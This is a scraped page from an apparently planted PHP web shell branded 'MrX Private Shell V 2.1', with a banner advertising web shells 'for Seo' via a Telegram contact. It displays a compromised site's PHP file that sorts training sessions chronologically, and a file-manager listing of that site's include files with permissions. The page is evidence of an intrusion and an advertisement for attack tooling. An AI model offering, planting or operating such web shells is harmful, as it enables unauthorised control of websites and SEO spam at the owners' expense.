__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
function capacitacionSortMinutes(string $timeLabel): int
{
$normalized = strtolower(trim($timeLabel));
$normalized = str_replace(['a. m.', 'a.m.', 'am'], 'am', $normalized);
$normalized = str_replace(['p. m.', 'p.m.', 'pm'], 'pm', $normalized);
if (!preg_match('/^(\d{1,2}):(\d{2})\s*(am|pm)?$/', $normalized, $matches)) {
return PHP_INT_MAX;
}
$hours = (int) $matches[1];
$minutes = (int) $matches[2];
$meridiem = $matches[3] ?? '';
if ($meridiem === 'am' && $hours === 12) {
$hours = 0;
} elseif ($meridiem === 'pm' && $hours < 12) {
$hours += 12;
}
return ($hours * 60) + $minutes;
}
function buildCapacitacionItem(array $item): ?array
{
if (empty($item['fecha'])) {
return null;
}
$fecha = DateTimeImmutable::createFromFormat('Y-m-d', (string) $item['fecha']);
if (!$fecha) {
return null;
}
return [
'fecha' => $fecha,
'hora' => (string) ($item['hora'] ?? ''),
'hora_orden' => capacitacionSortMinutes((string) ($item['hora'] ?? '')),
'titulo' => (string) ($item['titulo'] ?? ''),
'descripcion' => (string) ($item['descripcion'] ?? ''),
'capacitador' => (string) ($item['capacitador'] ?? ''),
'publico' => (string) ($item['publico'] ?? ''),
'modalidad' => (string) ($item['modalidad'] ?? ''),
'categoria' => (string) ($item['categoria'] ?? 'Capacitación'),
'plataforma' => (string) ($item['plataforma'] ?? ''),
'cupo' => (string) ($item['cupo'] ?? ''),
'acento' => (string) ($item['acento'] ?? '#8f141b'),
'boton_texto' => (string) ($item['boton_texto'] ?? 'Registro'),
'boton_url' => (string) ($item['boton_url'] ?? '#'),
'qr_imagen' => (string) ($item['qr_imagen'] ?? ''),
'qr_alt' => (string) ($item['qr_alt'] ?? ''),
];
}
function sortCapacitacionesChronologically(array &$items): void
{
usort($items, static function (array $a, array $b): int {
$byDate = $a['fecha'] <=> $b['fecha'];
if ($byDate !== 0) {
return $byDate;
}
$byTime = ((int) ($a['hora_orden'] ?? PHP_INT_MAX)) <=> ((int) ($b['hora_orden'] ?? PHP_INT_MAX));
if ($byTime !== 0) {
return $byTime;
}
return strcmp((string) ($a['hora'] ?? ''), (string) ($b['hora'] ?? ''));
});
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| cajabusqueda.php | File | 1.74 KB | 0664 |
|
| documentos_apoyo.php | File | 3.24 KB | 0664 |
|
| encabezado.php | File | 7.71 KB | 0664 |
|
| head.php | File | 633 B | 0664 |
|
| home_slider_helpers.php | File | 2.37 KB | 0664 |
|
| home_sliders.php | File | 574 B | 0664 |
|
| mas_servicios.php | File | 2.98 KB | 0664 |
|
| nav.php | File | 7.06 KB | 0664 |
|
| piepagina.php | File | 10.23 KB | 0664 |
|
| slider_capacitaciones.php | File | 10.6 KB | 0664 |
|
| slider_capacitaciones_banners.php | File | 4.86 KB | 0664 |
|
| slider_publicaciones.php | File | 4.13 KB | 0664 |
|
| tutoriales_helpers.php | File | 2.58 KB | 0664 |
|